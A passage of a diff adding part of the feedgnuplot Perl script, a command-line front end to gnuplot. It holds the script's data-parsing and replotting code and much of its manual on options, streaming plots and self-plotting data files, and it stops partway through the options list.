+      {
+        if(/^clear/o )
+        {
+          clearCurves();
+          next;
+        }
+
+        if(/^replot/o )
+        {
+          replot( $domain0_numeric );
+          next;
+        }
+
+        last if /^exit/o;
+      }
+
+      # parse the incoming data lines. The format is
+      # x id0 dat0 id1 dat1 ....
+      # where idX is the ID of the curve that datX corresponds to
+      #
+      # $options{domain} indicates whether the initial 'x' is given or not (if not, the line
+      # number is used)
+      # $options{dataid} indicates whether idX is given or not (if not, the point order in the
+      # line is used)
+      # 3d plots require $options{domain}, and dictate "x y" for the domain instead of just "x"
+
+      my @fields = split;
+
+      if($options{domain})
+      {
+        if( $options{timefmt} )
+        {
+            # no point if doing anything unless I have at least the domain and
+            # 1 piece of data
+            next if @fields < $options{timefmt_Ncols}+1;
+
+            $domain[0] = join (' ', splice( @fields, 0, $options{timefmt_Ncols}) );
+            $domain0_numeric = makeDomainNumeric( $domain[0] );
+        }
+        elsif(!$options{'3d'})
+        {
+            # no point if doing anything unless I have at least the domain and
+            # 1 piece of data
+            next if @fields < 1+1;
+
+            $domain[0] = $domain0_numeric = shift @fields;
+        }
+        else
+        {
+            # no point if doing anything unless I have at least the domain and
+            # 1 piece of data
+            next if @fields < 2+1;
+
+            @domain = splice(@fields, 0, 2);
+        }
+
+        if( $options{monotonic} )
+        {
+          if( defined $latestX && $domain0_numeric < $latestX )
+          {
+            # the x-coordinate of the new point is in the past, so I wipe out
+            # all the data and start anew. Before I wipe the old data, I
+            # replot the old data
+            replot( $domain0_numeric );
+            clearCurves();
+            $latestX = undef;
+          }
+          else
+          { $latestX = $domain0_numeric; }
+        }
+      }
+      else
+      {
+        $domain[0] = $line_number;
+        $domain0_numeric = makeDomainNumeric( $domain[0] );
+      }
+
+      my $id = -1;
+
+      while(@fields)
+      {
+          if($options{dataid}) { $id = shift @fields; }
+          else                 { $id++;               }
+
+          my $rangesize = getRangeSize($id);
+          last if @fields < $rangesize;
+
+          pushPoint(getCurve($id),
+                    join(' ',
+                         @domain,
+                         splice( @fields, 0, $rangesize ) ) . "\n",
+                    $domain0_numeric);
+      }
+    }
+
+    # finished reading in all. Plot what we have
+    plotStoredData() unless $options{stream} && $options{exit};
+
+    if ( defined $options{hardcopy})
+    {
+      print PIPE "set output\n";
+
+      # sleep until the plot file exists, and it is closed. Sometimes the output
+      # is still being written at this point. If the output filename starts with
+      # '|', gnuplot pipes the output to that process, instead of writing to a
+      # file. In that case I don't make sure the file exists, since there IS no
+      # file
+      if( $options{hardcopy} !~ /^\|/ )
+      {
+        usleep(100_000) until -e $outputfile;
+        usleep(100_000) until(system("fuser -s \"$outputfile\""));
+      }
+
+      print "Wrote output to $outputfile\n";
+      return;
+    }
+
+    # data exhausted. If we're killed now, then we should peacefully die.
+    if($options{stream} && !$options{exit})
+    {
+        print STDERR "Input data exhausted\n";
+        $SIG{INT} = undef;
+    }
+
+    # we persist gnuplot, so we shouldn't need this sleep. However, once
+    # gnuplot exits, but the persistent window sticks around, you can no
+    # longer interactively zoom the plot. So we still sleep
+    sleep(100000000) unless $options{dump} || $options{exit};
+}
+
+sub pruneOldData
+{
+  my ($oldestx) = @_;
+
+  foreach my $curve (@curves)
+  {
+    next unless $curve->{datastring};
+
+    my $meta = $curve->{datastring_meta};
+
+    my $firstInWindow = first {$meta->[$_]{domain} >= $oldestx} 0..$#$meta;
+    if ( !defined $firstInWindow )
+    {
+      # everything is too old. Clear out all the data
+      $curve->{datastring}        = '';
+      $curve->{datastring_meta}   = [];
+      $curve->{datastring_offset} = 0;
+    }
+    elsif ( $firstInWindow >= 2 )
+    {
+      # clear out everything that's too old, except for one point. This point
+      # will be off the plot, but if we're plotting lines there will be a
+      # connecting line to it. Some of the line will be visible
+      substr( $curve->{datastring}, 0,
+              $meta->[$firstInWindow-1]{offset_start} - $curve->{datastring_offset},
+              '' );
+      $curve->{datastring_offset} = $meta->[$firstInWindow-1]{offset_start};
+    }
+  }
+}
+
+sub plotStoredData
+{
+  # get the options for those curves that havse any data
+  my @nonemptyCurves = grep { $_->{datastring} } @curves;
+  my @extraopts = map {$_->{options}} @nonemptyCurves;
+
+  my $body = join('', map { "$_," } @{$options{equation}});
+  $body .= join(', ' , map({ "'-' $_" } @extraopts) );
+
+  if($options{'3d'}) { print PIPE "splot $body\n"; }
+  else               { print PIPE  "plot $body\n"; }
+
+  foreach my $curve (@nonemptyCurves)
+  {
+    print PIPE $curve->{datastring};
+    print PIPE "e\n";
+  }
+}
+
+sub updateCurveOptions
+{
+  # generates the 'options' string for a curve, based on its legend title and its other options
+  # These could be integrated into a single string, but that raises an issue in the no-title
+  # case. When no title is specified, gnuplot will still add a legend entry with an unhelpful '-'
+  # label. Thus I explicitly do 'notitle' for that case
+
+  my ($curve, $id) = @_;
+
+  # use the given title, unless we're generating a legend automatically. Given titles
+  # override autolegend
+  my $title;
+  if(defined $curve->{title})
+  { $title = $curve->{title}; }
+  elsif( $options{autolegend} )
+  { $title = $id; }
+
+  my $titleoption = defined $title ? "title \"$title\"" : "notitle";
+  my $histoptions = $curve->{histoptions} || '';
+
+  my $usingoptions = '';
+  if( $options{timefmt} )
+  {
+      # with --timefmt I need an explicit 'using' specification. I specify the
+      # columns as 1:2:3..... I need the right number of columns (this is given
+      # as 1 + rangesize). I also need to start the range at the first column
+      # past the timefmt
+
+      my @rest = map {$_ + $options{timefmt_Ncols}} (1..getRangeSize($id));
+
+      $usingoptions = "using 1:" . join(':', @rest);
+  }
+
+  $curve->{options} = "$histoptions $usingoptions $titleoption $curve->{extraoptions} $options{curvestyleall}";
+}
+
+sub getCurve
+{
+  # This function returns the curve corresponding to a particular label, creating a new curve if
+  # necessary
+
+  if(scalar @curves >= $options{maxcurves})
+  {
+    print STDERR "Tried to exceed the --maxcurves setting.\n";
+    print STDERR "Invoke with a higher --maxcurves limit if you really want to do this.\n";
+    exit -1;
+  }
+
+  my ($id) = @_;
+
+  if( !exists $curveIndices{$id} )
+  {
+    push @curves, {extraoptions      => ' ',
+                   datastring        => '',
+                   datastring_meta   => [],
+                   datastring_offset => 0}; # push a curve with no data and no options
+    $curveIndices{$id} =  $#curves;
+
+    updateCurveOptions($curves[$#curves], $id);
+
+
+    # --xlen has a meaning if we're not plotting histograms at all or if we're
+    # plotting ONLY histograms. If we're doing both at the same time, there's no
+    # consistent way to assign meaning to xlen
+    if ( defined $options{xlen} &&
+
+         # have at least some histograms
+         @{$options{histogram}} &&
+
+         # there are more curves than histogram curves, i.e. there're some
+         # non-histogram curves
+         @curves > @{$options{histogram}} ) {
+        print STDERR "--xlen only makes sense when plotting ONLY histograms or ONLY NON-histograms\n";
+        exit -1;
+    }
+  }
+  return $curves[$curveIndices{$id}];
+}
+
+sub addCurveOption
+{
+  my ($id, $str) = @_;
+
+  my $curve = getCurve($id);
+  $curve->{extraoptions} .= "$str ";
+  updateCurveOptions($curve, $id);
+}
+
+sub setCurveLabel
+{
+  my ($id, $str) = @_;
+
+  my $curve = getCurve($id);
+  $curve->{title} = $str;
+  updateCurveOptions($curve, $id);
+}
+
+sub setCurveAsHistogram
+{
+  my ($id, $str) = @_;
+
+  my $curve = getCurve($id);
+
+  # With histograms I have 2d plots with rangesize=1. I thus give gnuplot two
+  # values for each point: a domain and a range. For histograms I ignore the
+  # domain, so I get the statistics of the 2nd column: $2
+  $curve->{histoptions} = 'using (histbin($2)):(1.0) smooth ' . $options{histstyle};
+
+  updateCurveOptions($curve, $id);
+}
+
+# remove all the curve data
+sub clearCurves
+{
+  foreach my $curve(@curves)
+  {
+    $curve->{datastring}        = '';
+    $curve->{datastring_meta}   = [];
+    $curve->{datastring_offset} = 0;
+  }
+}
+
+sub replot
+{
+  return unless $haveNewData;
+  $haveNewData = undef;
+
+  return if !$options{stream};
+
+
+  # The logic involving domain rollover replotting due to --monotonic is a bit
+  # tricky. I want this:
+
+  # if( domain rolls over slowly )
+  # {
+  #   should update on a timer;
+  #   when the domain rolls over, --monotonic should force a replot
+  # }
+  # if( domain rolls over quickly )
+  # {
+  #   should update when the domain rolls over,
+  #     at most as quickly as the timer indicates
+  # }
+
+
+  my ($domain0_numeric) = @_;
+
+  my $now = [gettimeofday];
+
+  if( # If there is no replot timer at all, replot at any indication
+      $options{stream} < 0 ||
+
+      # if the last replot was timer-based, but this one isn't, force a replot.
+      # This makes sure that a replot happens for a domain rollover shortly
+      # after a timer replot
+      !$this_replot_is_from_timer && $last_replot_is_from_timer ||
+
+      # if enough time has elapsed since the last replot, it's ok to replot
+      tv_interval ( $last_replot_time, $now ) > 0.8*$options{stream} )
+  {
+    # ok, then. We really need to replot
+    if ( defined $options{xlen} )
+    {
+      # we have an --xlen, so we need to clean out the old data
+      pruneOldData( $domain0_numeric - $options{xlen} );
+
+      my ($xmin, $xmax) = ($domain0_numeric - $options{xlen}, $domain0_numeric);
+      if ( defined $options{timefmt} )
+      {
+        # if we're using a timefmt, I need to convert my xmin range from
+        # seconds-since-the-epoch BACK to the timefmt. Sheesh
+        ($xmin, $xmax) = map {Time::Piece->strptime( $_, '%s' )->strftime( $options{timefmt} ) } ($xmin, $xmax);
+      }
+
+      # if we have any histograms, then I'm not really visualizing the domain at
+      # all, and I don't set the range.
+      sendRangeCommand( "xrange", $xmin, $xmax )
+        unless @{$options{histogram}};
+    }
+
+    plotStoredData();
+
+
+    # update replot state
+    $last_replot_time          = $now;
+    $last_replot_is_from_timer = $this_replot_is_from_timer;
+  }
+}
+
+# function to add a point to the plot. Assumes that the curve indexed by $idx already exists
+sub pushPoint
+{
+  my ($curve, $datastring, $domain0_numeric) = @_;
+
+  push @{$curve->{datastring_meta}}, { offset_start => length( $curve->{datastring} ) + $curve->{datastring_offset},
+                                       domain       => $domain0_numeric };
+  $curve->{datastring} .= $datastring;
+
+  $haveNewData = 1;
+}
+
+
+mainThread();
+
+
+=head1 NAME
+
+feedgnuplot - General purpose pipe-oriented plotting tool
+
+=head1 SYNOPSIS
+
+Simple plotting of piped data:
+
+ $ seq 5 | awk '{print 2*$1, $1*$1}'
+ 2 1
+ 4 4
+ 6 9
+ 8 16
+ 10 25
+
+ $ seq 5 | awk '{print 2*$1, $1*$1}' |
+   feedgnuplot --lines --points --legend 0 "data 0" --title "Test plot" --y2 1
+               --terminal 'dumb 80,40' --exit
+
+                                  Test plot
+
+  10 ++------+--------+-------+-------+-------+--------+-------+------*A 25
+     +       +        +       +       +       +        +       +    **#+
+     |       :        :       :       :       :        : data 0+**A*** |
+     |       :        :       :       :       :        :       :** #   |
+   9 ++.......................................................**.##....|
+     |       :        :       :       :       :        :    ** :#      |
+     |       :        :       :       :       :        :  **   #       |
+     |       :        :       :       :       :        :**   ##:      ++ 20
+   8 ++................................................A....#..........|
+     |       :        :       :       :       :      **:   #   :       |
+     |       :        :       :       :       :    **  : ##    :       |
+     |       :        :       :       :       :  **    :#      :       |
+     |       :        :       :       :       :**      B       :       |
+   7 ++......................................**......##................|
+     |       :        :       :       :    ** :    ##  :       :      ++ 15
+     |       :        :       :       :  **   :   #    :       :       |
+     |       :        :       :       :**     : ##     :       :       |
+   6 ++..............................*A.......##.......................|
+     |       :        :       :    ** :     ##:        :       :       |
+     |       :        :       :  **   :    #  :        :       :       |
+     |       :        :       :**     :  ##   :        :       :      ++ 10
+   5 ++......................**........##..............................|
+     |       :        :    ** :      #B       :        :       :       |
+     |       :        :  **   :    ## :       :        :       :       |
+     |       :        :**     :  ##   :       :        :       :       |
+   4 ++...............A.......###......................................|
+     |       :      **:     ##:       :       :        :       :       |
+     |       :    **  :   ##  :       :       :        :       :      ++ 5
+     |       :  **    : ##    :       :       :        :       :       |
+     |       :**    ##B#      :       :       :        :       :       |
+   3 ++.....**..####...................................................|
+     |    **####      :       :       :       :        :       :       |
+     |  **## :        :       :       :       :        :       :       |
+     B**     +        +       +       +       +        +       +       +
+   2 A+------+--------+-------+-------+-------+--------+-------+------++ 0
+     1      1.5       2      2.5      3      3.5       4      4.5      5
+
+
+Simple real-time plotting example: plot how much data is received on the wlan0
+network interface in bytes/second (uses bash, awk and Linux):
+
+ $ while true; do sleep 1; cat /proc/net/dev; done |
+   gawk '/wlan0/ {if(b) {print $2-b; fflush()} b=$2}' |
+   feedgnuplot --lines --stream --xlen 10 --ylabel 'Bytes/sec' --xlabel seconds
+
+=head1 DESCRIPTION
+
+This is a flexible, command-line-oriented frontend to Gnuplot. It creates
+plots from data coming in on STDIN or given in a filename passed on the
+commandline. Various data representations are supported, as is hardcopy
+output and streaming display of live data. A simple example:
+
+ $ seq 5 | awk '{print 2*$1, $1*$1}' | feedgnuplot
+
+You should see a plot with two curves. The C<awk> command generates some data to
+plot and the C<feedgnuplot> reads it in from STDIN and generates the plot. The
+C<awk> invocation is just an example; more interesting things would be plotted
+in normal usage. No commandline-options are required for the most basic
+plotting. Input parsing is flexible; every line need not have the same number of
+points. New curves will be created as needed.
+
+The most commonly used functionality of gnuplot is supported directly by the
+script. Anything not directly supported can still be done with options such as
+C<--set>, C<--extracmds> C<--style>, etc. Arbitrary gnuplot commands can be
+passed in with C<--extracmds>. For example, to turn off the grid, you can pass
+in C<--extracmds 'unset grid'>. Commands C<--set> and C<--unset> exists to
+provide nicer syntax, so this is equivalent to passing C<--unset grid>. As many
+of these options as needed can be passed in. To add arbitrary curve styles, use
+C<--style curveID extrastyle>. Pass these more than once to affect more than one
+curve.
+
+To apply an extra style to I<all> the curves that lack an explicit C<--style>,
+pass in C<--styleall extrastyle>. In the most common case, the extra style is
+C<with something>. To support this more simply, you can pass in C<--with
+something> instead of C<--styleall 'with something'>. C<--styleall> and
+C<--with> are mutually exclusive. Furthermore any curve-specific C<--style>
+overrides the global C<--styleall> or C<--with> setting.
+
+=head2 Data formats
+
+By default, each value present in the incoming data represents a distinct data
+point, as demonstrated in the original example above (we had 10 numbers in the
+input and 10 points in the plot). If requested, the script supports more
+sophisticated interpretation of input data
+
+=head3 Domain selection
+
+If C<--domain> is passed in, the first value on each line of input is
+interpreted as the I<X>-value for the rest of the data on that line. Without
+C<--domain> the I<X>-value is the line number, and the first value on a line is
+a plain data point like the others. Default is C<--nodomain>. Thus the original
+example above produces 2 curves, with B<1,2,3,4,5> as the I<X>-values. If we run
+the same command with C<--domain>:
+
+ $ seq 5 | awk '{print 2*$1, $1*$1}' | feedgnuplot --domain
+
+we get only 1 curve, with B<2,4,6,8,10> as the I<X>-values. As many points as
+desired can appear on a single line, but all points on a line are associated
+with the I<X>-value at the start of that line.
+
+=head3 Curve indexing
+
+By default, each column represents a separate curve. This is fine unless sparse
+data is to be plotted. With the C<--dataid> option, each point is represented by
+2 values: a string identifying the curve, and the value itself. If we add
+C<--dataid> to the original example:
+
+ $ seq 5 | awk '{print 2*$1, $1*$1}' | feedgnuplot --dataid --autolegend
+
+we get 5 different curves with one point in each. The first column, as produced
+by C<awk>, is B<2,4,6,8,10>. These are interpreted as the IDs of the curves to
+be plotted. The C<--autolegend> option adds a legend using the given IDs to
+label the curves. The IDs need not be numbers; generic strings are accepted. As
+many points as desired can appear on a single line. C<--domain> can be used in
+conjunction with C<--dataid>.
+
+=head3 Multi-value style support
+
+Depending on how gnuplot is plotting the data, more than one value may be needed
+to represent the range of a single point. Basic 2D plots have 2 numbers
+representing each point: 1 domain and 1 range. But if plotting with
+C<--circles>, for instance, then there's an extra range value: the radius. A
+similar situation exists with C<--colormap> where each point contains the
+position I<and> the color. There are other gnuplot styles that require more data
+(such as error bars), but none of these are directly supported by the script.
+They can still be used, however, by specifying the specific style with
+C<--style>, and specifying how many values are needed for each point with
+C<--rangesizeall> or C<--rangesize> or C<--extraValuesPerPoint>. Those options
+that specify the range size are required I<only> for styles not explicitly
+supported by feedgnuplot; supported styles do the right thing automatically.
+
+More examples: if making a 2d plot of y error bars where gnuplot expects a
+(x,y,ydelta) tuple for each point, you want C<--rangesizeall 2> because you have
+one domain value (x) and 2 range values (y,ydelta). Gnuplot can also plot
+lopsided y errorbars by giving a tuple (x,y,ylow,yhigh). This is similar as
+before, but you want C<--rangesizeall 3> instead.
+
+
+=head3 3D data
+
+To plot 3D data, pass in C<--3d>. C<--domain> MUST be given when plotting 3D
+data to avoid domain ambiguity. If 3D data is being plotted, there are by
+definition 2 domain values instead of one (I<Z> as a function of I<X> and I<Y>
+instead of I<Y> as a function of I<X>). Thus the first 2 values on each line are
+interpreted as the domain instead of just 1. The rest of the processing happens
+the same way as before.
+
+=head3 Time/date data
+
+If the input data domain is a time/date, this can be interpreted with
+C<--timefmt>. This option takes a single argument: the format to use to parse
+the data. The format is documented in 'set timefmt' in gnuplot, although the
+common flags that C<strftime> understands are generally supported. The backslash
+sequences in the format are I<not> supported, so if you want a tab, put in a tab
+instead of \t. Whitespace in the format I<is> supported. When this flag is
+given, some other options act a little bit differently:
+
+=over
+
+=item
+
+C<--xlen> is an I<integer> in seconds
+
+=item
+
+C<--xmin> and C<--xmax> I<must> use the format passed in to C<--timefmt>
+
+=back
+
+Using this option changes both the way the input is parsed I<and> the way the
+x-axis tics are labelled. Gnuplot tries to be intelligent in this labelling, but
+it doesn't always do what the user wants. The labelling can be controlled with
+the gnuplot C<set format> command, which takes the same type of format string as
+C<--timefmt>. Example:
+
+ $ sar 1 -1 |
+   awk '$1 ~ /..:..:../ && $8 ~/^[0-9\.]*$/ {print $1,$8; fflush()}' |
+   feedgnuplot --stream --domain
+                --lines --timefmt '%H:%M:%S'
+                --set 'format x "%H:%M:%S"'
+
+This plots the 'idle' CPU consumption against time.
+
+Note that while gnuplot supports the time/date on any axis, I<feedgnuplot>
+currently supports it I<only> as the x-axis domain. This may change in the
+future.
+
+=head2 Real-time streaming data
+
+To plot real-time data, pass in the C<--stream [refreshperiod]> option. Data
+will then be plotted as it is received. The plot will be updated every
+C<refreshperiod> seconds. If the period isn't specified, a 1Hz refresh rate is
+used. To refresh at specific intervals indicated by the data, set the
+refreshperiod to 0 or to 'trigger'. The plot will then I<only> be refreshed when
+a data line 'replot' is received. This 'replot' command works in both triggered
+and timed modes, but in triggered mode, it's the only way to replot. Look in
+L</"Special data commands"> for more information.
+
+To plot only the most recent data (instead of I<all> the data), C<--xlen
+windowsize> can be given. This will create an constantly-updating, scrolling
+view of the recent past. C<windowsize> should be replaced by the desired length
+of the domain window to plot, in domain units (passed-in values if C<--domain>
+or line numbers otherwise). If the domain is a time/date via C<--timefmt>, then
+C<windowsize> is and I<integer> in seconds. If we're plotting a histogram, then
+C<--xlen> causes a histogram over a moving window to be computed. The subtlely
+here is that with a histogram you don't actually I<see> the domain since only
+the range is analyzed. But the domain is still there, and can be utilized with
+C<--xlen>. With C<--xlen> we can plot I<only> histograms or I<only>
+I<non>-histograms.
+
+=head3 Special data commands
+
+If we are reading streaming data, the input stream can contain special commands
+in addition to the raw data. Feedgnuplot looks for these at the start of every
+input line. If a command is detected, the rest of the line is discarded. These
+commands are
+
+=over
+
+=item C<replot>
+
+This command refreshes the plot right now, instead of waiting for the next
+refresh time indicated by the timer. This command works in addition to the timed
+refresh, as indicated by C<--stream [refreshperiod]>.
+
+=item C<clear>
+
+This command clears out the current data in the plot. The plotting process
+continues, however, to any data following the C<clear>.
+
+=item C<exit>
+
+This command causes feedgnuplot to exit.
+
+=back
+
+=head2 Hardcopy output
+
+The script is able to produce hardcopy output with C<--hardcopy outputfile>. The
+output type can be inferred from the filename, if B<.ps>, B<.eps>, B<.pdf>,
+B<.svg> or B<.png> is requested. If any other file type is requested,
+C<--terminal> I<must> be passed in to tell gnuplot how to make the plot. If
+C<--terminal> is passed in, then the C<--hardcopy> argument only provides the
+output filename.
+
+=head2 Self-plotting data files
+
+This script can be used to enable self-plotting data files. There are 2 ways of
+doing this: with a shebang (#!) or with inline perl data.
+
+=head3 Self-plotting data with a #!
+
+A self-plotting, executable data file C<data> is formatted as
+
+ $ cat data
+ #!/usr/bin/feedgnuplot --lines --points
+ 2 1
+ 4 4
+ 6 9
+ 8 16
+ 10 25
+ 12 36
+ 14 49
+ 16 64
+ 18 81
+ 20 100
+ 22 121
+ 24 144
+ 26 169
+ 28 196
+ 30 225
+
+This is the shebang (#!) line followed by the data, formatted as before. The
+data file can be plotted simply with
+
+ $ ./data
+
+The caveats here are that on Linux the whole #! line is limited to 127
+characters and that the full path to feedgnuplot must be given. The 127
+character limit is a serious limitation, but this can likely be resolved with a
+kernel patch. I have only tried on Linux 2.6.
+
+=head3 Self-plotting data with perl inline data
+
+Perl supports storing data and code in the same file. This can also be used to
+create self-plotting files:
+
+ $ cat plotdata.pl
+ #!/usr/bin/perl
+ use strict;
+ use warnings;
+
+ open PLOT, "| feedgnuplot --lines --points" or die "Couldn't open plotting pipe";
+ while( <DATA> )
+ {
+   my @xy = split;
+   print PLOT "@xy\n";
+ }
+ __DATA__
+ 2 1
+ 4 4
+ 6 9
+ 8 16
+ 10 25
+ 12 36
+ 14 49
+ 16 64
+ 18 81
+ 20 100
+ 22 121
+ 24 144
+ 26 169
+ 28 196
+ 30 225
+
+This is especially useful if the logged data is not in a format directly
+supported by feedgnuplot. Raw data can be stored after the __DATA__ directive,
+with a small perl script to manipulate the data into a useable format and send
+it to the plotter.
+
+=head1 ARGUMENTS
+
+=over
+
+=item
+
+--C<[no]domain>
+
+If enabled, the first element of each line is the domain variable. If not, the
+point index is used
+
+=item
+
+--C<[no]dataid>
+
+If enabled, each data point is preceded by the ID of the data set that point
+corresponds to. This ID is interpreted as a string, NOT as just a number. If not
+enabled, the order of the point is used.
+
+As an example, if line 3 of the input is "0 9 1 20" then
+
+=over
+
+=item
+
+C<--nodomain --nodataid> would parse the 4 numbers as points in 4 different
+curves at x=3
+
+=item
+
+C<--domain --nodataid> would parse the 4 numbers as points in 3 different
+curves at x=0. Here, 0 is the x-variable and 9,1,20 are the data values
+
+=item
+
+C<--nodomain --dataid> would parse the 4 numbers as points in 2 different
+curves at x=3. Here 0 and 1 are the data IDs and 9 and 20 are the
+data values
+
+=item
+
+C<--domain --dataid> would parse the 4 numbers as a single point at
+x=0. Here 9 is the data ID and 1 is the data value. 20 is an extra
+value, so it is ignored. If another value followed 20, we'd get another
+point in curve ID 20
+
+=back
+
+=item
+
+C<--[no]3d>
+
+Do [not] plot in 3D. This only makes sense with C<--domain>. Each domain here is
+an (x,y) tuple
+
+=item
+
+--C<timefmt [format]>
+
+Interpret the X data as a time/date, parsed with the given format
+
+=item
+
+C<--colormap>
+
+Show a colormapped xy plot. Requires extra data for the color. zmin/zmax can be
+used to set the extents of the colors. Automatically sets the C<--rangesize>.
+
+=item
+
+C<--stream [period]>
+
+Plot the data as it comes in, in realtime. If period is given, replot every
+period seconds. If no period is given, replot at 1Hz. If the period is given as
+0 or 'trigger', replot I<only> when the incoming data dictates this. See the
+L</"Real-time streaming data"> section of the man page.
+
+=item
+
+C<--[no]lines>
+
+Do [not] draw lines to connect consecutive points
+
+=item
+
+C<--[no]points>
+
+Do [not] draw points
+
+=item
+
+C<--circles>
+
+Plot with circles. This requires a radius be specified for each point.
+Automatically sets the C<--rangesize>. C<Not> supported for 3d plots.
+
+=item
+
+C<--title xxx>
+
+Set the title of the plot
+
+=item
+
+C<--legend curveID legend>
+
+Set the label for a curve plot. Use this option multiple times for multiple
+curves. With C<--dataid>, curveID is the ID. Otherwise, it's the index of the
+curve, starting at 0
+
+=item
+
+C<--autolegend>
+
+Use the curve IDs for the legend. Titles given with C<--legend> override these
+
+=item
+
+C<--xlen xxx>
+
+When using C<--stream>, sets the size of the x-window to plot. Omit this or set
+it to 0 to plot ALL the data. Does not make sense with 3d plots. Implies
+C<--monotonic>. If we're plotting a histogram, then C<--xlen> causes a histogram
+over a moving window to be computed. The subtlely here is that with a histogram
+you don't actually I<see> the domain since only the range is analyzed. But the
+domain is still there, and can be utilized with C<--xlen>. With C<--xlen> we can
+plot I<only> histograms or I<only> I<non>-histograms.
+
+
+=item
+
+C<--xmin/xmax/ymin/ymax/y2min/y2max/zmin/zmax xxx>
+
+Set the range for the given axis. These x-axis bounds are ignored in a streaming
+plot. The y2-axis bound do not apply in 3d plots. The z-axis bounds apply
+I<only> to 3d plots or colormaps.
+
+=item
+
+C<--xlabel/ylabel/y2label/zlabel xxx>
+
+Label the given axis. The y2-axis label does not apply to 3d plots while the
+z-axis label applies I<only> to 3d plots.
+
+=item
+
+C<--y2 xxx>
+
+Plot the data specified by this curve ID on the y2 axis. Without C<--dataid>,
+the ID is just an ordered 0-based index. Does not apply to 3d plots. Can be
+passed multiple times, or passed a comma-separated list. By default the y2-axis
+curves look the same as the y-axis ones. I.e. the viewer of the resulting plot
+has to be told which is which via an axes label, legend, etc. Prior to version
+1.25 of feedgnuplot the curves plotted on the y2 axis were drawn with a thicker
+line. This is no longer the case, but that behavior can be brought back by
+passing something like
+
+ --y2 curveid --style curveid 'linewidth 3'
+
+=item
+
+C<--histogram curveID>
+
+Set up a this specific curve to plot a histogram. The bin width is given with
+the C<--binwidth> option (assumed 1.0 if omitted). If a drawing style is not
+specified for this curve (C<--curvestyle>) or all curves (C<--with>,
+C<--curvestyleall>) then the default histogram style is set: filled boxes with
+borders. This is what the user generally wants. This works with C<--domain>
+and/or C<--stream>, but in those cases the x-value is used I<only> to cull old
+data because of C<--xlen> or C<--monotonic>. I.e. the domain values are I<not>
+drawn in any way. Can be passed multiple times, or passed a comma- separated
+list
+
+=item
+
+C<--binwidth width>
+
+The width of bins when making histograms. This setting applies to ALL histograms
+in the plot. Defaults to 1.0 if not given.
+
+=item
+
+C<--histstyle style>
+
+Normally, histograms are generated with the 'smooth frequency' gnuplot style.
+C<--histstyle> can be used to select different C<smooth> settings (see the
+gnuplot C<help smooth> page for more info). Allowed values are 'frequency' (the
+default), 'fnormal' (available in very recent gnuplots), 'unique', 'cumulative'
+and 'cnormal'. 'fnormal' is a normalized histogram. 'unique' indicates whether a
+bin has at least one item in it: instead of counting the items, it'll always
+report 0 or 1. 'cumulative' is the integral of the 'frequency' histogram.
+'cnormal' is like 'cumulative', but rescaled to end up at 1.0.
+
+=item
+
+C<--style curveID style>
+
+Additional styles per curve. With C<--dataid>, curveID is the ID. Otherwise,
+it's the index of the curve, starting at 0. curveID can be a comma-separated
+list of IDs to which the given style should apply. Use this option multiple
+times for multiple curves. C<--styleall> does I<not> apply to curves that have a
+C<--style>.
+
+=item
+
+C<--curvestyle curveID>
+
+Synonym for C<--style>
+
+=item
+
+C<--styleall xxx>
+
+Additional styles for all curves that have no C<--style>. This is overridden by
+any applicable C<--style>. Exclusive with C<--with>.
+
+=item
+
+C<--curvestyleall xxx>
+
+Synonym for C<--styleall>
+
+=item
+
+C<--with xxx>
+
+Same as C<--styleall>, but prefixed with "with". Thus
+
+ --with boxes
+
+is equivalent to
+
+ --styleall 'with boxes'
+
+Exclusive with C<--styleall>.
+
+=item
+
+C<--extracmds xxx>
+
+Additional commands to pass on to gnuplot verbatim. These could contain extra
+global styles for instance. Can be passed multiple times.
+
+=item
+
+C<--set xxx>
+
+Additional 'set' commands to pass on to gnuplot verbatim. C<--set 'a b c'> will
+result in gnuplot seeing a C<set a b c> command. Can be passed multiple times.
+
+=item
+
+C<--unset xxx>
+
+Additional 'unset' commands to pass on to gnuplot verbatim. C<--unset 'a b c'>
+will result in gnuplot seeing a C<unset a b c> command. Can be passed multiple
+times.
+
+=item
+
+C<--image filename>
+
+Overlays the data on top of a raster image given in C<filename>. This is passed
+through to gnuplot via C<--equation>, and is not interpreted by C<feedgnuplot>
+other than checking for existence. Usually images have their origin at the
+top-left corner, while plots have it in the bottom-left corner instead. Thus if
+the y-axis extents are not specified (C<--ymin>, C<--ymax>, C<--set 'yrange
+...'>) this option will also flip around the y axis to make the image appear
+properly. Since this option is just a passthrough to gnuplot, finer control can
+be achieved by passing in C<--equation> and C<--set yrange ...> directly.
+
+C<--equation xxx>
+
+Gnuplot can plot both data and symbolic equations. C<feedgnuplot> generally
+plots data, but with this option can plot symbolic equations I<also>. This is
+generally intended to augment data plots, since for equation-only plots you
+don't need C<feedgnuplot>. C<--equation> can be passed multiple times for
+multiple equations. The given strings are passed to gnuplot directly without any
+thing added or removed, so styling and such should be applied in the string. A
+basic example:
+
+ seq 100 | awk '{print $1/10, $1/100}' |
+   feedgnuplot --with 'lines lw 3' --domain --ymax 1
+               --equation 'sin(x)/x' --equation 'cos(x)/x with lines lw 4'
+
+Here I plot the incoming data (points along a line) with the given style (a line
+with thickness 3), I<and> I plot two damped sinusoids on the same plot. The
+sinusoids are not affected by C<feedgnuplot> styling, so their styles are set
+separately, as in this example. More complicated example:
+
+ seq 360 | perl -nE '$th=$_/360 * 3.14*2; $c=cos($th); $s=sin($th); say "$c $s"' |
+   feedgnuplot --domain --square
+               --set parametric --set "trange [0:2*3.14]" --equation "sin(t),cos(t)"
+
+Here the data I generate is points along the unit circle. I plot these as
+points, and I I<also> plot a true circle as a parametric equation.
+
+=item
+
+C<--square>
+
+Plot data with aspect ratio 1. For 3D plots, this controls the aspect ratio for
+all 3 axes
+
+=item
+
+C<--square_xy>
+
+For 3D plots, set square aspect ratio for ONLY the x,y axes
+
+=item
+
+C<--hardcopy xxx>
+
+If not streaming, output to a file specified here. Format inferred from
+filename, unless specified by C<--terminal>. If C<--terminal> is given,
+C<--hardcopy> sets I<only> the output filename.
+
+=item
+
+C<--terminal xxx>
+
+String passed to 'set terminal'. No attempts are made to validate this.
+C<--hardcopy> sets this to some sensible defaults if C<--hardcopy> is set to a
+filename ending in C<.png>, C<.pdf>, C<.ps>, C<.eps> or C<.svg>. If any other
+file type is desired, use both C<--hardcopy> and C<--terminal>
+
+=item
+
+C<--maxcurves xxx>
+
+The maximum allowed number of curves. This is 100 by default, but can be reset
+with this option. This exists purely to prevent perl from allocating all of the
+system's memory when reading bogus data
+
+=item
+
+C<--monotonic>
+
+If C<--domain> is given, checks to make sure that the x- coordinate in the input
